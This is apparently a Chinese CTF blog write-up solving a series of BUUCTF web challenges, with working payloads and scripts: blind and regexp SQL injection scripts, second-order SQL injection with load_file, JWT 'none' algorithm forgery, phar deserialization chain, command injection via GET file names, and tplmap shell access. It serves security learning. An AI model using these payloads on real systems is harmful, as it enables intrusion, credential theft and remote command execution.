mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

这是题目给的代码

首先通读代码,了解到该题提供了查看路径和写入文件的功能,但是存在WAF机制,不允许写入黑名单中的内容。使用echo标记简写<?=绕过<?php的限制,再用.来连接p和hp,因为分号被过滤掉了,只执行一行语句可以省略:

image-20230708155040772

这里的话不用为数组 直接进行下一层来绕过check就行了

/?action=upload&data=<?=(ph.pinfo)()?>

接着/?action=pwd 访问被写入路径

image-20230708155349795

image-20230708155443350

成功写入

那么就是可以使用 短标签和 ( ` ) 来进行绕过了

image-20230708160035046

这里加个知识点就是 在使用php段标签的时候 代码末尾可以不用加上 (;)

image-20230708160312655

考察的是个cookie伪造

先抓个包

image-20230708160525827

有两个参数 看看这个cookie能不能进行直接解码查看

image-20230708160614777

可以直接解码查看 没有加安全验证啥的 于是修改金额

令id为2就行

image-20230708160731271

[网鼎杯 2020 白虎组]PicDown

题目

image-20230708161028840

只有一个框

随便输点东西进去

image-20230708161226736

得到这样的结果

进行进行文件读取的话是可以读出来的

image-20230708161513887

image-20230708161523663

这里是个非预期解

直接就可以读取flag了

image-20230708161633608

预期解

这里考察的是可以尝试利用 /proc 目录下的敏感文件进行利用。

首先读取/proc/self/cmdline来获取启动当前题目进程的完整命令:

1
?url=../../../../../../../proc/self/cmdline

image-20230708162059860

看到一个app.py 尝试读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

关键点在这里

image-20230708162943356

就是获取到key之后就可以进行os.system(shell) 来执行命令了

但是这个key的话是直接包含的话是获取不到的

image-20230708163120933

打开之后就直接删除了

但是这里有一个小利用点就是

但在 linux 系统中如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。我们通过对id的爆破,得到/tmp/secret.txt文件描述符的序号:

1
/page?url=/proc/self/fd/3

image-20230708163356446

于是访问/no_one_know_the_manager 传key和shell就行了

[HITCON 2017]SSRFme

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
//157.0.207.216

这道题的考点是 GET 这个命令的一个命令执行漏洞

要执行的命令先前必须要有以命令为文件名的文件存在

1
2
touch 'ls|'
$a = shell_exec(GET "file:ls|")

就是如果存在一个以命令命名的文件存在 使用GET file:文件名的话就可以运行这个命令

image-20230708200522891

  • 第一步

先创建一个以命令命名的文件

1
?url=file:ls /|&filename=ls /|
  • 第二步

然后令 urlfile:文件名 ,然后就是将运行结果存入data里 然后再存入第一步创建的文件中

1
?url=file:ls /|&filename=ls /|
  • 第三步

image-20230708200801807

访问这个路径下的在第一步创建的文件

然后就可以拿到flag了

image-20230708200917054

然后在重复以上步骤来创建这个/readflag

第一步

1
?url=file:bash -c /readflag|&filename=bash -c /readflag|

第二步 读文件

1
/sandbox/13f6609a7c632f9b54e7fa69869971c2/bash -c /readflag|

这里不直接创建/readflag|的原因是因为这个前面有个斜杠 会直接创建在根目录 这会和原本的重合 所以是不行的

这样是可以的 |/readflag

image-20230708201552480

[b01lers2020]Welcome to Earth

题目

疯狂套娃 没啥可看的 直接跳过

[CISCN2019 总决赛 Day2 Web1]Easyweb

题目

image-20230708203153006

题目就一个登录框 (感觉像是sql注入)

信息收集一下

image-20230708204530754

image-20230708204542938

第一个是存在备份文件 第二个是存在sql注入点

image-20230708204642851

访问image.php.bak成功下载备份文件

内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

这里用到的一个转义函数 addslashes

image-20230708205143296

就是会将 ‘ “ \ 用 \ 给转义了

根据经验来说 这里的漏洞出现的地方一般是在这个waf这里

image-20230708211114040

思路就是将这个单引号给破坏掉 这里的话这个waf刚好就能办到

举个例子

如果我们传进来 \\\\0的话 这里会因为有这个addslashes函数的关系 会在多一个反斜杠,就会变成 \\\\\0 然后因为waf的存在 会将\0给替换成空 那么id就会变成\\\\ 那么就会把后半个引号给转义掉 那么path的话我们可以使用注释#符号来给后半个引号给注释掉 那么我们就可以成功让这个sql语句成功回显了

1
select * from images where id='\\\\' or path='or 1#'

那么这个部分就是一个整体了

image-20230708211745476

然后因为后面的or 1,所以就可以成功查出所有结果

因为这里是无回显的所以我们得写一个盲注脚本来判断 如果失败的是会返回404,

就是利用这一点来获取正确结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
url=r'http://a563b70a-acef-493b-aacd-34608c733374.node3.buuoj.cn/image.php?id=\\0&path=or '
def tablelen():
for i in range(1,30):
payload='(select(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))='+str(i)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print ('tablenlen:'+str(i))
return i
def tablename(tablelen):
for i in range(1,tablelen+1):
for j in range(30,127):
payload='(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),'+str(i)+',1))='+str(j)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print(chr(j),end='')
break


def columnlen():
for i in range(1,30):
payload='(length((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273))='+str(i)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print ('columnlen:'+str(i))
return i

def columnname(columnlen):
columnname=''
for i in range(1,columnlen+1):
for j in range(30,127):
payload='(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273),'+str(i)+',1))='+str(j)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print(chr(j),end='')
columnname+=chr(j)
break
return columnname
def dump(columnname):
for i in range(1,21):
for j in range(30,127):
payload='(ascii(substr((select group_concat(password) from users),'+str(i)+',1))='+str(j)+')--+'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print (chr(j),end='')
break
tablelen=tablelen()
tablename=tablename(tablelen)
columnlen=columnlen()
columnname=columnname(columnlen)
datalen=dump()

然后爆出的用户名和密码分别是

admin,91f63d79e4b19e55c5c9

进行登录

image-20230708214406151

然后尝试上传文件

image-20230708214754952

测试了一下 发现这里会把上传的文件名给上传到这个php文件下

那么我们就可以传个一句话木马的文件名就行了

image-20230708215613009

然后就可以rce了

image-20230708215628876

image-20230708215702404

[HFCTF2020]EasyLogin

题目

image-20230709213417022

就只有一个登录框

image-20230709213835533

查看源码发现一个app.js

image-20230709215342802

里面提示了一个koa 于是就去搜索这是个什么东西

image-20230709215705099

搜到一个结构图

根据这个图,去读取/controllers/api.js文件(至于为啥是api.js而不是app.js我还没想通)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

得到源码

大概审计了一下代码发现

image-20230709220015166

只要满足这个条件的话就能获取到flag

image-20230709220205581

这里的话是在这个路由下使用jwt来生成session 并且这个密钥还是随机值

image-20230709220419050

生成了token

image-20230709221625474

由于我们不知道密钥 试了一下使用jwt-crack 爆破不出来 所以这里就采用另一种方法 就是将加密方式设为空

1
2
3
4
5
6
7
8
9
10
11
12
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "222",
"iat": 1688911442
},
algorithm="none",key=""
)

print(token)

然后替换就行了

[GYCTF2020]Ezsqli

image-20230709224039609

根据题目和这个返回的信息来看 感觉像是个bool盲注

image-20230710153249695

image-20230710153301584

image-20230710153314162

输入123分别对应这几个结果 所以就是说可以使用bool盲注脚本来进行判断

image-20230710153420887

刚好可以使用这来进行爆破

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#buuctf web ezsqli
from turtle import right
import requests
import time


url = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
table_name = ""
i = 0


while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"
data = {"id":payload}
res = requests.post(url=url,data=data).text
if "Nu1L" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
table_name += chr(letf)
time.sleep(0.2)
print(table_name)
else:
break

这里的话因为这个information_schema.tables被过滤了

(这也是个小知识点 可以记下积累)

sys.x$schema_table_statistics_with_buffer代替

Bypass information_schema与无列名注入

爆出了2张表

1
f1ag_1s_h3r3_hhhhh,users233333333333333

这里考点是考察无列名注入

因为过滤了很多东西 无法使用常规方法进行绕过

这里的用到的是无列名的ascii位偏移方法

image-20230710155521360

从这里来看的话可以得出结论就是这里比较的不是长度 而是比较ascii的大小

这道题我们利用的就是这个特性,我们首先会从构造一个ascii从32到128的循环,与flag字符诸位一一进行对比,满足条件返回Nu1L,输出符合条件的ascii对应的字符,也就是找到了flag的第一个字符,以此类推,直到输出flag所有位的字符。

image-20230710160753037

字母是代表0

所以说可以使用1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))来判断一共有几列

返回 Nu1L,说明有两列。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break

当我们匹配flag的时候,一定会先经过匹配到字符相等的情况,这一这个时候返回的是0,对应题目中的V&N,很明显此时的chr(char)并不是我们想要的,我们在输出1(Nu1L)的时候,匹配的是f的下一个字符g,而我们想要的是f,此时chr(char-1)=’f’,所以这里要用chr(char-1)

然后将生成的flag转为小写就行

1
2
3
4
5
6
7
<?php

$str = "FLAG{FADF587F-8C6F-442B-A523-F220A4DB0690}";
$lowercaseStr = strtolower($str);
echo $lowercaseStr; // 输出:hello world


Bypass information_schema与无列名注入

这篇文章写的很好 可以拿来学习一下

[SWPUCTF 2018]SimplePHP

题目

image-20230710162041689

有查看文件和上传文件两个点 但是这个查看文件后面跟着个?file

于是就去尝试一下看是否能读取文件

image-20230710162236534

依次把能读取的文件全读取出来

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

这里的话给了上传文件的话 又加上没有反序列化的入口 那么我们就可以猜想到这个是个phar反序列化

能实现这个的前提是得有file_开头的函数 并且存在恶意类 里面得存在一些能获取信息的函数

所以说 我们的思路是先去上传这个phar文件

然后在通过这个file协议访问

image-20230710204842754

这里的话使用phar协议的话就可以触发phar反序列化了

  • 第一步构造phar文件

(在存在恶意类的php文件下生成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$c=new Test();
$c->params=array('source'=>'var/www/html/f1ag.php');
$b=new Show();
$b->str['str']=$c;
$a=new C1e4r();
$a->str=$b;
echo serialize($a);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

image-20230710205332097

是由这个函数来触发的

构造POP链地思路

1
2
3
4
5
6
7
8
9
10
11
12
通过Cle4r。将str赋值为Show类。
this->test=$this->Show类
echo $this->test;
触发Show类中的__tostring魔术方法。进入Show类。执行
$content=$this->str['str']->source;
那么我们将str['str']赋值为Test类。使其调用source。但是不存在。
接下来就进入了Test类。执行
__get($key)。这个$key。其实就是source。
get($key)
$value=this->params['source'];
file_get_contents($value);
由于Test类在构造函数中。定义了params是个数组。那么我们就定义params=array('source'=>'/var/www/html/fl1g.php');
  • 第二步上传phar文件

image-20230710205852012

因为只允许上传这几种后缀的文件 所以说我们得修改phar.phar1.jpg来上传

image-20230710210025688

这就是为什么上传jpg的原因 这里的上传路径是可以自己查出来的

md5(文件名加ip地址就行了)

image-20230710210409432

[NCTF2019]SQLi

这个题考察的是正则注入(regexp注入)

image-20230710212212947

扫一下目录发现存在 robots.txt

image-20230710212239616

存在hint.txt

image-20230710212316112

过滤了挺多东西的

这个注入方式呢相当于布尔盲注吧,若是猜对了就返回正确的页面,我们本地测试一下正则,先看一下全部数据,然后^匹配e开头的password

image-20230710212618723

就是使用这种办法

回到题目

1
select * from users where username='' and passwd=''

想要猜解admin的密码需要用到admin,可是题目过滤掉了admin,但是我们能用其他方法绕过,让username=\,将语句后面的单引号给转义掉,我们可以构造这样的payload

1
username=\&passwd=||sql;%00

这里其实就是在注释符不存在的情况下使用的一种闭合引号的方法来替代

放入原查询语句

1
select * from users where username='\' and passwd='||sql;%00'

这里sql的意思是可以添加sql语句来进行查询

脚本查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# buuctf web [NCTF2019]SQLi
import time

import requests
import string

url = "http://9cfe7d12-7a56-4e34-ab59-9c8f6657012a.node4.buuoj.cn:81/"
pw_fuzz = string.ascii_lowercase + string.digits + "_" # 密码字典:小写字母和数字还有下划线
pw = "" # admin的密码

while True:
for i in pw_fuzz:
data = {
'username': '\\',
'passwd': '||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw + i))
}
res = requests.post(url=url, data=data).text
if "alert" not in res:
pw = pw + i
print(pw)
time.sleep(3)

最后爆破出来的密码是

1
you_will_never_know7788990

登录之后就拿到了flag

image-20230710213827300

[RootersCTF2019]I_<3_Flask

这个有个解法是使用工具来解的 (当然手注也行)

不过是可以学习一下工具解法

  1. Jinjia2模版注入
  2. Arjun参数爆破工具
  3. tplmap模版注入工具

Arjun工具

image-20230710215323301

安装过程

1
pip3 install arjun

等会就会把name这个参数给爆出来

tplmap工具

这个工具的话就会把是什么模板注入也给爆出来

tplmap工具地址

1
python2 tplmap.py -u 'http://462f5dc9-0fae-4d3a-b764-a9b0b0c8a125.node4.buuoj.cn:81/?name=1'

image-20230710220009967

然后使用--os-shell就行了

image-20230710220352594

学到了 居然还可以使用工具来写入shell和判断ssti的类型

[网鼎杯 2018]Comment

考点

  • git泄露
  • sql二次注入
  • sql文件读取
  • 特殊文件识别和利用

先扫目录发现 .git存在

使用Githack来下载git泄露文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

得到泄露的源码

(使用这个工具得到的源码不全 所以我们得使用githacker这个工具)

image-20230711162435027

发现这个工具的话 将一些东西与write_do.php进行了混合 于是尝试读取这个文件

image-20230711163207250

第一步 先获取这个commit

然后提示了这个e5b2a24这个新内容的位置

git show e5b2a24 来进行读取这个内容

image-20230711163542762

这些带颜色的内容就是新增加的 于是和刚开始获取的代码结合在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

image-20230711164017476

审计代码发现这里存在很明显的二次注入 并且就是这里的话过滤的话只采用一个addslashes转义函数来进行过滤

就是再write的时候控制这个category的内容 然后在插入comment的时候就会将我们的恶意代码输出的结果给插入进去 然后我们访问comment的时候就能看到结果了

先尝试进行登录

image-20230711164252502

这里的星号就是让我们进行爆破的

image-20230711164519704

bp进行爆破

image-20230711164923916

得出结果

1
密码为 : zhangwei666

这里的二次注入表现为,addslashes过滤后产生的\不会进入数据库,即’1过滤后变成\'1,进入库中却仍为’1,我们在取出数据后进行二次拼接,即可造成注入

第一步

wirte处对category写入

1
', content=user(),/*

comment处写入

1
*/#

最后表现的形式是

1
2
3
4
$sql = "insert into comment
set category = '', content=user(),/*
content = '*/#',
bo_id = '$bo_id'";

image-20230711171235711

这里直接按照wp给的flag位置来进行读取了(这里是藏flag的 没意思)

write处

1
', content=(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*

comment处

1
*/#